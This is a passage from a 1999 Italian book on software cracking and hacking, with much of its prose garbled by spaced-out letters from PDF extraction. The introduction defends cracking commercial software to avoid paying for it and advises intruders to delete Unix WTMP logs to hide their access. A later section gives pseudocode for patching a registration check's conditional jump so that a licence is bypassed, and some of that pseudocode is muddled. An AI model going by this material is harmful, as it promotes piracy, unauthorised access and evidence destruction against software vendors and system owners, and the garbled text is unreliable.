Scarica in formato pdf o txt
Scarica in formato pdf o txt
Sei sulla pagina 1di 991

Fl avi o Ber nar dot t i Al esandr i a www. ber nar dot t i .

i t







CRACKING & HACKING






Tecni che, pr ogr ammi e conoscenze per i l cr acki ng dei pr ogr ammi .
Teor i a del l assembl er .
Teor i a dei debugger s, di sassembl at or i ecc.
Teor i a del sof t war e i n r et e.
Teor i a act i veX e l i br er i e.
I nt er r upt s.
Funzi oni API di Wi ndows.









QUESTO VOLUME NON VIOLA NESSUNA LEGGE NEPPURE MORALE.

Quest o vol ume, al cont r ar i o di quant o f ar ebbe pensar e i l t i t ol o, NON VIOLA NESSUNA
LEGGE i n quant o non f a r i f er i ment o a nessun pr ogr amma i n modo speci f i co. I
pr ogr ammi ad esempi o sono st at i camuf f at i ed i mpossi bi l e r i sal i r e al l or i gi ne.
Le t abel l e e gl i scr i t t i r i por t at i sono espr essament e DI PUBBLICO DOMINIO O ANONIMI.
I n ogni caso sono r i pr odot t i nel l a l or o f or ma or i gi nal e compr esa l a l i ngua.

1999 F. Ber nar dot t i - f l avi o@ber nar dot t i . i t

INTRODUZIONE


A 14 anni di di st anza ecco quant o avevo pr omesso sul mi o vol ume di
pr ogr ammazi one i n C a basso l i vel l o dat at o 1986.
Ho r i cevut o per anni t el ef onat e dal l e per sone che l o avevano l et t o l e qual i mi
chi edevano a che punt o er a quant o avevo pr omesso nel l e ul t i me pagi ne.
A di r e i l ver o nel f r at t empo ho scr i t t o al t r i vol umi sul l a pr ogr ammazi one i n C
i n ambi ent e Uni x, sul l a pr ogr ammazi one i n J ava ma i nut i l e . . . i l vol ume che
aveva col pi t o er a quel l o dest i nat o agl i smanet t oni del basso l i vel l o.
Ok.
Non pr opr i ament e l a cont i nuazi one di quel l o, i n quant o a quei t empi i l vol ume
t r at t ava l e t ecni che di scr i t t ur a dei TSR i n C ma or a sot t o Wi ndows 2000 di TSR
se ne par l a ben poco.
I n compenso i l basso l i vel l o, pi basso di cosi si muor e, r i nasce nel mondo dei
cr acker s ( non del l a Pavesi ) i qual i seguono l e t r ame i ngar bugl i at e dei sof t war e
per aut of i nanzi ar si i r r aggi ungi bi l i , i n al t r o modo, l i br er i e e sof t war e var i .
Un buon si st ema di svi l uppo cost a svar i at i mi l i oni .
3. 000. 000 ci r ca per Devel opper St udi o Ent er pr i se.
800. 000 per l a l i br er i a che gest i sce l o st r at o dat abase ecc.
900. 000 per quel l a che gest i sce l e l i st box.
E chi svi l uppa i n J ava o C++ si cur ament e ha anche bi sogno di un edi t or ht ml da
L. 1. 000. 000 ecc.
E di segni l egat i al l a gr af i ca dove l i met t i amo ?
Al t r i 800. 000 per un Fi r ewor k.
Gl i st udent i e t ut t i col or o che non possono passar e sot t o i l budget del l azi enda
i l cost o del sof t war e sar ebber o dest i nat i a guar dar e.
Ed i nvece no !
La t ecni ca del l aut of i nanzi ament o f unzi ona.
Gr azi e a I nt er net ci sono mi gl i ai a di sof t war e l i mi t at i a 60 gi or ni o si mi l i a
che sono l i pr ont i ad accet t ar e l a sf i da del cr ackat or e f ol l e.
Col ui che pr oduce sof t war e compr a i pacchet t i or i gi nal i per ch i mpensabi l e
di st r i bui r e un pr odot t o cr eat o con sof t war e cr ackat i .
Chi gr i da al l i ngi ust i zi a per i l f at t o che qual che smanet t one si aut of or ni sce
di sof t war e per ch non gr i da al l i ngi ust i zi a quando i nvece si spende dei mi l i oni
per t r ovar si nel l e mani dei sof t war e scr i t t i da cani e dest i nat i a cani ?
I o per sonal ment e ho r eso r i cche sof t war e house amer i cane e Feder al Expr ess
compr ando cent i nai a e cent i nai a di sof t war e con i l sol o scopo di pr ovar l i .
Un al t r a cosa che sper o vi vament e che i l t est o non vi ai ut i ul t er i or ment e a
r ender vi pi st r ani , anche per ch pap e mamma sono gi abbast anza per pl essi
oggi come oggi senza che dobbi at e peggi or ar e ul t er i or ment e ! ! ( Scher zo! ! )
I l consi gl i o mi gl i or e che vi posso dar e comunque quel l o di mant ener e un
br i ci ol o di umi l t pensando che spesso dal l a par t e del l e pr ot ezi oni esi st ono
pr of essi oni st i ver ament e br avi .
Quest o non si gni f i ca che al cuni pr ogr ammi non si possono sbl occar e ma sol o che
bi sogna sempr e val ut ar e se i l t empo per so val e i l gi oco.
Si cur ament e pot er et e f ar e di qual si asi caso una sf i da e se l e cose st anno cos
non c da f ar e neppur e un' al t r a par ol a.
Se i nvece per spr ot egger e un f or mat t at or e di sor gent i C ci vuol e un mese, f or se
megl i o che l asci at e per der e e i l t empo l o i mpi egat e a r i scr i ver l o per vost r o
cont o.
Nel 1981 i ni zi ai a l avor ar e vi ci no a si st emi che a quei t empi possedevano l e
di mensi oni di una st anza.
Far e i l consul ent e i n i nf or mat i ca si gni f i cava dover af f r ont ar e pr oget t i l egat i
ai set t or i pi di spar at i ovver o quel l i per cui i cl i ent i t i cont at t avano.
Se ar r i vava l a Fi at e necessi t ava del pr ogr amma di cont r ol l o del l a qual i t
dovevi af f er mar e i n par t enza di conoscer e l ar goment o e successi vament e dovevi
sudar e set t e cami ci e per f ar t i una cul t ur a suf f i ci ent e a pot er r i sol ver e i l
pr obl ema.
Appunt o per f ar e quest o bi sognava aver e i l sof t war e gi ust o al moment o gi ust o ed
quest o i l mot i vo del l e cent i nai a di acqui st i .
Quant i pacchi ma PACCHI i n mai uscol o mi sono pr eso !
Al l or a l i cosa si doveva f ar e ?
Mi l i oni spesi per sof t war e che se f osser o st at i di st r i bui t i gr at i s ci si sar ebbe
dovut i i ncazzar e per aver speso 900 L per ogni f l oppy di suppor t o.
Comunque l a l ogi ca di anni f a l a st essa che ho oggi .
Quest o vol ume vuol e di st r i bui r e i nf or mazi oni e non sof t war e cr ackat i .
Reper i r e l e i nf or mazi oni , anni f a, er a i mpor t ant i ssi mo anche per ch ver so l a
met degl i anni 80 i vol umi er ano r ar i ssi mi .
Da qui mi venne l i dea di cr ear e un qual che cosa che pot esse per met t er e a
per sone con i nt er essi comuni di di al ogar e e qui ndi di scambi ar si l e esper i enze.
Per quest o nacque l i dea di f ondar e con al cuni al t r i l a r et e Fi doNet i t al i ana.
Per ci r ca 8 anni sono st at o i l secondo nodo i t al i ano dopo quel l o di Gi or gi o
Rut i gl i ano di Pot enza.
Er a i l 1985 e l a t el emat i ca vi aggi ava con i suoi 300 bauds pr opr i o al l i ni zi o
del suo cammi no.
La st ampa ci pr ese come un f at t o i nnovat i vo.
I n I t al i a non esi st evano ancor a si st emi t el emat i ci pubbl i ci e gr at ui t i come
i nvece i n Amer i ca er a t empo che c er ano.
E come t ut t e l e cose nuove venne vi st a anche con del l e ot t i che sbagl i at e ovver o
per anni ci f u i mput at o di esser e un covo di hacker s.
Chi ar ament e l a r et e suppor t ava l a messaggi st i ca per cui non si pot eva negar e che
pot eva esser e anche usat a per scambi ar e passwor ds di si st emi pr i vat i .
Non er a comunque possi bi l e el i mi nar e i l pr obl ema per ch non er a possi bi l e
l egger e t ut t i i messaggi che ci r col avano sul l a r et e st essa.
Chi ar ament e poi chi vi ol ava i si st emi i nf or mat i ci possedeva un modem e qui ndi
ut i l i zzava anche l e BBS.
Per st ar e sul l a r et e scr i ssi i pr ogr ammi i n C denomi nat i I TALI NK ( 1986) che
gest i vano t ut t e l e sezi oni cl assi che di una BBS Fi doNet ed i n pi di sponevano di
una sezi one per l e i nt er r ogazi oni su basi dat i .
I n t ut t i quest i anni venni a conoscenza di quel l a che er a l a r eal t hacker anche
se l a mi a vi si one non quel l a negat i va possedut a da mol t i anzi . . . .
Per me l hacker er a una per sona che doveva di spor r e di conoscenze i nf or mat i che
mol t o maggi or i del l a medi a ed er a anche l ogi co i n quant o per pot er t r ovar e i
buchi dei si st emi bi sognava conoscer l i mol t o bene.
Nel 1987 par t eci pai anche ad una seconda r et e nat a i n quel per i odo che si
suppor t ava sul si st ema di Uni x UUCP.
Al gi or no d oggi con l e l ogi che Wi ndows per set t ar e una r et e pr emi due t ast i e
scr i vi due numer i .
Set t ar e UUCP er a i nvece una cosa da pazzi .
Deci ne e deci ne di f i l e con dat i i ncr oci at i t r a l or o con cent i nai a di
i nf or mazi oni da set t ar e.
I l f i l e xxx cont eneva i dat i dei modemi l cui numer o doveva esser e r i por t at o nel
f i l e yyy i l qual e cont eneva l a vel oci t che doveva esser e speci f i cat a nel f i l e
zzz e cos vi a.
Mol t i cr ack ai si st emi f ur ono f at t i usando i bugs del si st ema uucp.
I n pr at i ca conoscendo i l mai l er di UUCP veni va spedi t o un messaggi o con i l
sor gent e del f i l e usat o per cr ear e l a door i l qual e, una vol t a gi unt o, usando
l esecut or e sempr e di UUCP veni va compi l at o ed esegui t o.
E quest o er a sol o un esempi o di f at t i che comunque denot avano conoscenze mol t o
pr of onde dei si st emi .
Di ci amo che i n ogni caso t ut t e l e t ecni che di hacker aggi o sono quasi sempr e
basat e sul l i nesper i enza di al cuni si st emi st i .
Mol t i buchi sono accent uat i dal f at t o che mol t i si st emi st i usano i l l or o accesso
come r oot per at t i var e pr ocedur e at t e a gest i r e f unzi oni pubbl i che.
Per esser e pi chi ar i possi amo por t ar e l esempi o dei ser ver WEB dove i pr ogr ammi
di gest i one HTTP vengono l anci at i come pr ocessi di pr opr i et r oot .
I n quest o caso medi ant e al cuni caval l i di t r oi a ed al t r e t ecni che basat e su
pr obl emi di FTP e del gest or e del l e EMAI L possi bi l e cr ear e accessi non
aut or i zzat i ai si st emi .
Una del l e f asi f ondament al i del l hacker aggi o st a nel l a capaci t di el i mi nar e
t ut t e l e t r acce di accesso al si st ema.
Dopo esser e ent r at i i n si st emi Uni x dovr esser e cur a del l hacker quel l a di
cancel l ar e i f i l e WTMP ecc. ed i n par t i col ar e modo non dovr anno esser e usat e
cer t e pr ocedur e adat t e ad usci r e dal si st ema hacker at o.
Comunque se i l super user del si st ema non anal i zza i f i l es di l og al l or a non
esi st e nessun pr obl ema anche nel caso i n cui l hacker non f acci a spar i r e l e
t r acce.
I l vol ume di i nt i t ol a hacker and cr acker i n quant o sono due cose di f f er ent i .
Hacker si gni f i ca acceder e ai si st emi r emot i senza<a di spor r e del l e
aut or i zzazi oni necessar i e.
Cr acker si gni f i ca el i mi nar e l e pr ot ezi oni e l e l i mi t azi oni dei pr ogr ammi
commer ci al i di st r i bui t i .
I n ogni caso bi sogna sot t ol i near e l a di f f er enza t r a hacker e i mbeci l l i .
I l ver o hacker ut i l i zza l e t ecni che st udi at e per gi unger e ai suoi f i ni sol o per
aument ar e i l suo bagagl i o cul t ur al e ed i n ogni caso non per r ecar e danni ai
si st emi at t accat i .
Mol t i hacker cor r et t i , ovver o quel l i che si at t engono al l a ver a f i l osof i a,
spesso l asci ano messaggi al si st emi st a avvi sandol o dei buchi del suo si st ema
ai ut andol o ad el i mi nar l i .
Cancel l ar e f i l es o f ar e danni i n gener al e si gni f i ca sol o aument ar e i l pr opr i o
bagagl i o di demenzal i t .
Quando una per sona di spone di un aggr essi vi t accent uat a si gni f i ca che
psi col ogi cament e ha dei pr obl emi anche per ch una per sona equi l i br at a con se
st esso non di spone di quel senso che l o f a sent i r e gr ande sol o quando at t acca i l
suo pr ossi mo.
Usat e l e vost r e capaci t per ai ut ar e gl i al t r i .
Se f at e cr acki ng su qual che pr ogr amma non di vul gat el o i n f or mat o spr ot et t o i n
quant o f ar est e un danno al l a casa che l o ha pr odot t o.
Ri vol t at e sempr e su di voi quel l o che st at e compi endo e si at e cor r et t i a pensar e
se quel l o che st at e f acendo vi f ar ebbe pi acer e se f osse f at t o a voi .
I n caso negat i vo non f at el o i n quant o cer t e cose ai ut ano sol o a f ar sal i r e i
pr ezzi del sof t war e e a r omper e l e scat ol e a per sone che hanno f ami gl i e da
mant ener e.
Si at e sempr e modest i e non pensat e che met t er e su I nt er net un sof t war e con l a
scr i t t a cr acked by . . . vi possa el egger e a r i cer cat or i del MI T.
Ho conosci ut o t ant i pr ogr ammat or i ed anal i st i con sensi di super i or i t
pazzeschi .
I n gener e er ano buf al oni che pensavano che dopo aver t r ovat o con i l debugger
l e par ol e segr et e per di vent ar e i nvi nci bi l i a DOOM possedevano l e st esse
capaci t dei pr oget t i st i che hanno messo al mondo J ava o si mi l i a.
Consi der ar vi medi ocr i vi per met t er di evol ver vi ed i n par t i col ar e modo
r i conoscer e l e i nf i ni t e maggi or i capaci t di al cuni vi per met t er di aver e dei
model l i a cui i spi r ar si e da r aggi unger e.
I o per sonal ment e ho sempr e avut o Mar vi n Mi nsky ( padr e del l AI ) e K & R ( i padr i
del Li nguaggi o C) come mi t i e t r aguar di ( per me i r r aggi ungi bi l i ) .
Consi der at e sempr e l a comuni cazi one t r a per sone con gl i st essi i nt er essi .
Quest o i l met odo mi gl i or e per evol ver si .
Si di ce che l uomo l ani mal e pi i nt el l i gent e pr opr i o per ch ha i nvent at o i l
l i nguaggi o al f i ne di comuni car e agl i al t r i del l a speci e l e pr opr i e esper i enze.
Dat o che f ar e cr acki ng o hacki ng su si st emi o su pr ogr ammi si gni f i ca sf r ut t ar e
l a pr opr i a i nt el l i genza i n quest o vol ume ver r anno most r at e l e t ecni che usat e ma
non ver r f at t o r i f er i ment o a nessun pr odot t o speci f i co.
Non ver r anno neppur e comuni cat i numer i di ser i e e neppur e passwor ds per acceder e
a si st emi r emot i .
Se vi i nt er essano sol t ant o quel l e megl i o che l e r i cer chi at e t r ami t e messaggi
su I nt er net .
Nel vol ume t r over et e nozi oni t eor i che l egat e al l uso di cer t i l i nguaggi
( Assembl er e C) , a cer t i sof t war es qual i di sassembl at or i e debugger , a
nozi oni smi di r et e ed ai met odi per ut i l i zzar l e t r ami t e J AVA.
Di ci amo che i l vol ume vi i ndi r i zzer ver so i l met odo mi gl i or e per passar e l e
not t i i nsonni .
Come vedr emo per cr ackar e i pr ogr ammi si devono posseder e conoscenze che
spazi ano i n mol t i set t or i e si cur ament e nei pi compl essi .
Quest o vol ume vuol e ser vi r e a dar vi un i nf ar i nat ur a d al cune t eor i e e comunque
vi ser vi r a passar e di l i vel l o.
Benvenut i nel mondo del cr acki ng f ai da t e.















Se il volume vi piaciuto potete richiedere labbonamento agli altri volumi
sempre scritti dal sottoscritto.
Labbonamento vi costa L. 30.000.
Appena ricevute vi verr inviato immediatamente un altro volume di 200 pagine
sulla programmazione avanzata in Java.



BERNARDOTTI FLAVIO
VIA TRENTO, 10
15040 MONTECASTELLO (AL)
Tel. 0347 5610956
CONOSCENZE TEORICHE E PRATICHE


Un f amoso det t o af f er ma che t ut t e l e st r ade por t ano a Roma.
I nf or mat i cament e par l ando pot r emmo t r asf or mar e i l t ut t o i n t ut t i i l i nguaggi
por t ano al l Assembl er .
Un ambi t o t r aguar do del l i nf or mat i ca e sempr e st at o quel l o di cr ear e un
l i nguaggi o si mi l e a quel l o nat ur al e che per met t esse di i ndi car e ai comput er s l e
f unzi oni da svol ger e par l andogl i sempl i cement e i nsi eme ed ut i l i zzando per l a
cr eazi one del l e f r asi l a st essa si nt assi e semant i ca del l a nost r a l i ngua.
I l sof t war e necessar i o a svol ger e un compi t o di quest o t i po sar ebbe st at o una
cosa t al ment e compl essa e gr ossa che l a vel oci t d esecuzi one dei pr ogr ammi
sar ebbe st at a i mpossi bi l e.
Fi l osof i cament e mi vi ene i l dubbi o che se si f osse gi unt i ad un punt o si mi l e
l uomo sar ebbe di vent at o un def i ci ent e a causa del l assopi ment o ment al e che ci
sar ebbe st at o conseguenza a quest o f at i di co l i nguaggi o.
Oggi l uomo conqui st a i suoi obbi et t i vi massacr andosi i di eci mi l i ar di di
neur oni che ha n t a capa.
Comunque non quest o l uogo per f ar e di scor si di quest o t i po.
For t unat ament e l uomo mangi a pane e past i cci per cui ut i l i zza l a sua
i nt el l i genza per cr ear sene ogni gi or no di nuovi e pi compl essi .
Pi di vent a compl esso i l pr obl ema del l i nt er pr et azi one del l i nguaggi o pi
di vent a gr osso ed i mpacci at o i l sof t war e del l i nt er pr et e o del compi l at or e.
Pur t r oppo l el et t r oni ca sor da o per l omeno capi sce sol o una sot t ospeci e di
codi ce mor se che i l l i nguaggi o bi nar i o.
Quest o concet t o f aci l e da compr ender e vi st o che el et t r i cament e l o st at o l ogi co
0 ( zer o) pu esser e r appr esent at o da una mancanza di segnal e ment r e l o st at o
l ogi co 1( uno) da quel l o i n cui i l segnal e pr esent e.
Er r oneament e negl i anni si sempr e consi der at a l i nf or mat i ca come l a sci enza
dei comput er s.
L i nf or mat i ca, come di ce i l nome, l ar t e di anal i zzar e i l mondo i nt or no a noi
( i nf or mazi oni ) r i cavandone i model l i mat emat i ci compost i da dat i descr i t t i vi ,
quant i t at i vi e qual i t at i vi , e da i st r uzi oni i ndi r i zzat e a mani pol ar l i .
L ar t e del l a pr ogr ammazi one nasce sempr e dal l anal i si dei si st emi r eal i .
I n al t r e par ol e i si st emi vengono osser vat i r i cavandone i dat i di sponi bi l i .
Dopo aver l i scor por at i si ar r i va al l a f ase del l a cr eazi one degl i al gor i t mi
ovver o del l e sequenze di oper azi oni che devono esser e appl i cat e ai dat i per
r aggi unger e una cer t a f i nal i t .
Dal l a nasci t a del l a sci enza i nf or mat i ca i si st emi anal i zzat i sono di vent at i
sempr e pi compl essi e qui ndi l e met odol ogi e anal i t i che hanno dovut o adat t ar si
al l e sempr e maggi or i compl i cazi oni concet t ual i .
Anche i l i nguaggi di pr ogr ammazi one, che al t r o non sono che i si st emi per
cr ear e i model l i esegui bi l i su comput er s, hanno dovut o adeguar si ai cambi ament i .
Pr endi amo ad esempi o i l i nguaggi a par t i r e dal per i odo commer ci al e
del l i nf or mat i ca t r al asci ando l a pr ei st or i a l egat a al l i nf or mat i ca esegui t a su
si st emi da cent r i di cal col o.
I l t i po d i nf or mat i ca che ho appena def i ni t o par t e dal 1981 anno i n cui l I BM
ha commer ci al i zzat o i l pr i mo per sonal ovver o i l PC con pr ocessor e 8088 a 4. 77mhz
con l a st upef acent e quant i t di memor i a di 64Kbyt es ( non di ment i chi amoci del
f l oppy a 360 Kbyt es) .
I l basi c er a r esi dent e su ROM anche se er a possi bi l e car i car ne una ver si one pi
evol ut a da f l oppy.
I l GwBasi c sembr una cosa t er r i f i cant e a conf r ont o del Basi c dat o con PcDos.
N. Wi r t h f ondat or e del l a Bor l and f ece l a sua f or t una con i l Tur bo Pascal un
compi l at or e ext r a vel oce che st ava i n 64 Kbyt es di di sco.
La nasci t a del l a pr ogr ammazi one st r ut t ur at a f u appunt o sanci t a dal Tur bo Pascal
e dal C.
I pr i mi esempi di pr ogr ammazi one obj ect or i ent ed f ur ono l egat e al l Ei f f el f i no
a gi unger e al l o Smal l t al k e al C++.
Comunque t ut t i i si st emi al l a f i ne dovevano esser e t r adot t i i n Assembl er per
pot er esser e esegui t i .
L evol uzi one del l har dwar e por t anche al l espansi one del l Assembl er dei
si st emi .
Pensat e che i pr i mi pr ocessor i di sponevano come i st r uzi oni sol o del l a somma e
del l a sot t r azi one per cui mol t i pl i cazi one e di vi si one dovevano esser e esegui t e
gr azi e a sequenze di quest e due e ogget t i come l o st ack er ano i nser i t i , f i ssi ,
dent r o ai pr ocessor i st essi .
La di f f i ci l e vi t a del l Hacker e l egat a a quest o l i nguaggi o anche se l a
conoscenza di al t r i l i nguaggi f aci l i t a i l t ut t o i n quant o l a t r aduzi one i n
Assembl er mant i ene sempr e una cer t a f or ma l egat a al compi l at or e che l ha
gener at a.
Spesso possi bi l e sf r ut t ar e i l compi l at or e per gener ar e pr ogr ammi i n Assembl er
ed i n par t i col ar e quest a t ecni ca, che or a vedr emo, ut i l e per t ogl i er si dei
dubbi .
Che si gni f i ca t ogl i er si dei dubbi ?
Spesso debuggando cer t i pr ogr ammi , der i vat i da l i nguaggi ad al t o l i vel l o, non si
r i esce a capi r e qual i cost r ut t i del l i nguaggi o or i gi nal e hanno or i gi nat o quel l e
l i nee Assembl er .
I l compi l at or e Vi sual C ( i l compi l at or e Mi cr osof t C) ha sempr e possedut o un f l ag
che per met t e di gener ar e i l f i l e i n MACRO ASSEMBLER del pr ogr amma i n C
anal i zzat o.
Pr endi amo i l seguent e pr ogr amma, che esegue l a copi a di un ar r ay di 10 el ement i
dent r o ad un al t r o, come esempi o :

struct X {
int a[10];
};

int array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int array_due[10];

void copy_array(void)
{
(*((struct X *)&array_due[0])) = (*((struct X *)&array_uno[0]));
}

Dando al compi l at or e i l comando :

cl /c /Fatest.asm test.c

( / c = non esegui r e i l l i nk / Fanome. asm= gener a asm)
Ed ecco come st at o t r adot t o :

TITLE text.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC _array_uno
_DATA SEGMENT
COMM _array_due:DWORD:0aH
_array_uno DD 01H
DD 02H
DD 03H
DD 04H
DD 05H
DD 06H
DD 07H
DD 08H
DD 09H
DD 00H
_DATA ENDS
PUBLIC _copy_array
_TEXT SEGMENT
_copy_array PROC NEAR
; File text.c
; Line 9
push ebp
mov ebp, esp
push esi
push edi
; Line 10
mov ecx, 10 ; 0000000aH
mov esi, OFFSET FLAT:_array_uno
mov edi, OFFSET FLAT:_array_due
rep movsd
; Line 11
pop edi
pop esi
pop ebp
ret 0
_copy_array ENDP
_TEXT ENDS
END

Vedi amo or a l e conoscenze che l hacker deve posseder e per ar r i var e al suo
t r aguar do.
Ri cor do sempr e che quest a at t i vi t una sf i da al l i nt el l i genza al t r ui .
I ngegner i del sof t war e st udi ano i met odi per codi f i car e e nasconder e cer t e
f unzi oni ment r e gl i al t r i f acendo dei t r ace, a vol t e al l uci nant i , devono
r i cost r ui r e l a l ogi ca al t r ui cer cando di r i cr ear e gl i al gor i t mi di codi f i ca.
Tant e sono l e conoscenze che bi sogna posseder e per non per der si i n quest o
l abi r i nt o.
Pr ogr ammi , debugger s, Assembl er , l i nguaggi ecc.
I n quest o vol ume cer cher di t r at t ar e t ut t o quel l o che ser ve anche se, come ho
gi det t o, non si t r at t a di un manual e speci f i co di ogni ar goment o.
Gi l ho det t o, qui l o r i pet o ed i n f ut ur o l o r i pet er ancor a che non t r over et e
r i f er i ment i a pr ogr ammi speci f i ci anche per ch i l vol ume non si i nt i t ol a
Spr ot eggi amo Pi ncopal Sof t . .
Vogl i o che quest o vol ume r i manga nel l a l egal i t anche se i pi ant agr ane avr anno
da f ar ci del l e pol emi che anche per ch si cur ament e non capi r anno che l o scopo del
vol ume quel l o di cer car e di di vul gar e al cune conoscenze t ecni che.
I nol t r e non avr ebbe al cun senso f ar e r i f er i ment i pr eci si a pr ogr ammi anche
per ch gl i i nt er essi mi ei di ver gono da quel l i di un al t r o per cui si cur ament e
pot r ebbe non esser ci i nt er esse nei conf r ont i del sof t war e che ut i l i zzo
per sonal ment e.
Ol t r e a ci non avr ebbe neppur e senso f ar e un vol ume con r i por t at e l e
spr ot ezi oni di n pr ogr ammi .
Per pr i ma cosa per ch da un gi or no al l al t r o cambi ano i si st emi di gest i one dei
demo.
Un al t r o mot i vo che gi esi st e i l si t o ASTALAVI STA che r i por t a un mot or e di
r i cer ca per l e par ol e e i si st emi di cr ack per cui se vi i nt er essasse un
sof t war e per r ender e ef f et t i vo un cer t o demo f ar est e si cur ament e pr i ma a
col l egar vi l i .
I n quest o vol ume t r over et e nozi oni smi r el at i vi a qual si asi ar goment o a par t i r e
dal l assembl er per gi unger e a J ava ed ai di sassembl at or i .
Un cosa che f u det t a r el at i vament e al vol ume che scr i ssi 15 anni f a er a che
veni vano r i por t at i un numer o ver ament e gr osso di i nf or mazi oni .
I n quest o vol ume, al meno come t i pol ogi a, vengono r i por t at e ancor a pi not i zi e
ut i l i .
Ri t or nando al di scor so r el at i vo al l a pi ena l egal i t di quest o vol ume posso
ancor a di r e che al cune t abel l e r eper i t e t r a gl i scr i t t i t ecni ci sono PUBLI C
DOMAI N e non pr ovengono da vol umi e manual i sogget t i a Copyr i ght .
I n ogni caso al cune t abel l e sono r i mast e or i gi nal i per due mot i vi .
Spesso l a t r aduzi one di scr i t t i t ecni ci por t a a st r ane i nt er pr et azi oni e
comunque i n ogni caso t r at t andosi di scr i t t i or i gi nal i con l a di sponi bi l i t ad
esser e di st r i bui t i nel l a sua f or ma or i gi nal e, non ho vol ut i modi f i car l i neppur e
nel l a l i ngua.
Le par t i i n l i ngua or i gi nal e comunque sol o r el at i va ad al cune l i st e e t abel l e
e non a scr i t t i descr i t t i vi r el at i vi a nozi oni smi t ecni ci .
I l vol ume i ndi r i zzat o a per sone che di spongono gi di basi i nf or mat i che l e
qual i si cur ament e mast i cano l i ngl ese megl i o di quant o mast i chi no l i t al i ano.
Quant e vol t e ho i mpr ecat o per t r aduzi oni pazzesche l e qual i necessi t avano del
r eper i ment o dei document i or i gi nal i per r i usci r e a capi r e di cosa si par l ava.
Per pr i ma cosa di amo un occhi at a ad un ar goment o che pu sembr ar e banal e ma che
spesso f ondament al e per l a r i usci t a del l obbi et t i vo.
Quando downl odi amo un pr ogr amma che possi ede un si st ema per i l suo f unzi onament o
l i mi t at o ad un cer t o per i odo, si cur ament e al suo i nt er no possi ede una par t e che
per met t e di r egi st r ar e i l sof t war e el i mi nandogl i t ut t e l e l i mi t azi oni i ni zi al i .
Quest e r out i ne possono esser e da mol t o sempl i ci a enor mement e compl esse.
Modul i sof t war e commer ci al i dest i nat i a quest i compi t i possi edono compl i cazi oni
sof t war e not evol i t r a cui cr ypt ogr af i a del sof t war e e t ant e al t r e t r ovat e degl i
i ngegner i del l e sof t war e house che l hanno pr odot t o.
Modul i come VBOX ecc. sono comuni .
A chi unque sar capi t at o di veder e i n aper t ur a pr ogr ammi l a di al og i n cui si
avvi sa dei gi or ni ancor a a di sposi zi one del sof t war e i n modal i t demo e sul
qual e si cur ament e esi st e i l pul sant e per i nser i r e i l codi ce e qui ndi r egi st r ar e
i l sof t war e.
Pr ogr ammi come l e Nor t on Ut i l i t i es, quel l i Macr omedi a ecc. ci r col ano
t r anqui l l ament e af f i dando a quest e ut i l i t y l a si cur ezza di l or o st essi .
Quest i modul i gener al ment e si at t engono a quest e r egol e che st abi l i scono i l
f l usso del sof t war e.
Quando pr emet e i l t ast o r egi st r a vi compar e l a mascher a i n cui gener al ment e
vi ene chi est o i l nome e i l codi ce.
Successi vament e avver r :

(Original)

A ESEGUI LA COMPARAZIONE DI QUANTO INSERITO CON I CODICI CORRETTI
B SE IL CODICE NON E CORRETTO VAI AL PASSO D
C MOSTRA IL RINGRAZIAMENTO PER IL CODICE CORRETTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

A quest o punt o l e nost r e r ei ngeni er i zzazi oni del sof t war e possono segui r e
di ver se vi e.
La f or ma pi br ut al e e l a pi sempl i ce quel l a che cambi a sol o i l compor t ament o
che i l sof t war e t i ene nel caso di non cor r et t ezza del codi ce.
Nel l a seconda r i ga l or i gi nal e di ceva SE CORRETTO VAI A D ment r e or a di ce SE
SCORRETTO VAI A D.

(CHANGING BYTES)

A ESEGUI LA COMPARAZIONE DEL CODICE
B SE INCORRETTO VAI A D
C MOSTRA Il RINGRAZIAMENTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

Al cune vol t e esi st e un sol o numer o cor r et t o con i l vost r o nome i nser i t o e qui ndi
possedet e i l 99. 99%del l e possi bi l i t che quel l o i nser i t o non vada bene.
I n quest o caso pot et e modi f i car e l a l ogi ca i n:

(reverse the condiction)

A ESEGUI LA COMPARAZIONE Del CODICE
B SE NON CORRETTO NON ANDARE A D
C MOSTRA IL RINGRAZIAMENTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

Una t er za t ecni ca l a seguent e:

(One way conndictions)

A ESEGUI LA COMPARAZIONE DEL CODICE
B SE NON CORRETTO VAI A C
C MOSTRA IL RINGRAZIAMENTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

L ul t i ma met odol ogi a.

(Tricky condictions)

A ESEGUI LA COMPARAZIONE DEL CODICE
B SE NON CORRETTO VAI A D
C MOSTRA IL RINGRAZIAMENTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

Vogl i o sot t ol i near e che non sempr e t ut t e l e met odol ogi e f unzi onano anzi : al cune
vol t e sol t ant o un met odo pu esser e appl i cat o.
Vedi amo or a di el encar e l e t i pol ogi e di conoscenze e i t i pi di pr ogr ammi che
bi sogna aver e e saper ut i l i zzar e.
Segui r un el enco dei pr ogr ammi con al cune descr i zi oni aggi unt i ve.

Linguaggio Assembler

La f ase di debug ovver o quel l a i n cui si segue passo a passo l e i st r uzi oni di un
pr ogr amma per i dent i f i car ne al cuni punt i l egat i al l a pr ot ezi one avvi ene a
par t i r e dal l assembl er .
I nol t r e l e i st r uzi oni che devono esser e i nser i t e per modi f i car ne i l
f unzi onament o devono esser e codi f i cat e sempr e i n asm.
Sono anche r i chi est e l e conoscenze r el at i ve ai si st emi oper at i vi usat i dat o che
mol t e f unzi oni come ad esempi o l a l et t ur a e l a scr i t t ur a su di sco ecc. vengono
spesso esegui t e t r ami t e chi amat e agl i i nt er r upt s del OS o medi ant e chi amat e di
si st ema.
Nel caso i n cui l a met a si a quel l a di at t i var e pr ogr ammi pr ot et t i o cose di
quest o t i po al l or a l e conoscenze si l i mi t er anno al l e f unzi oni Bi os e Dos.
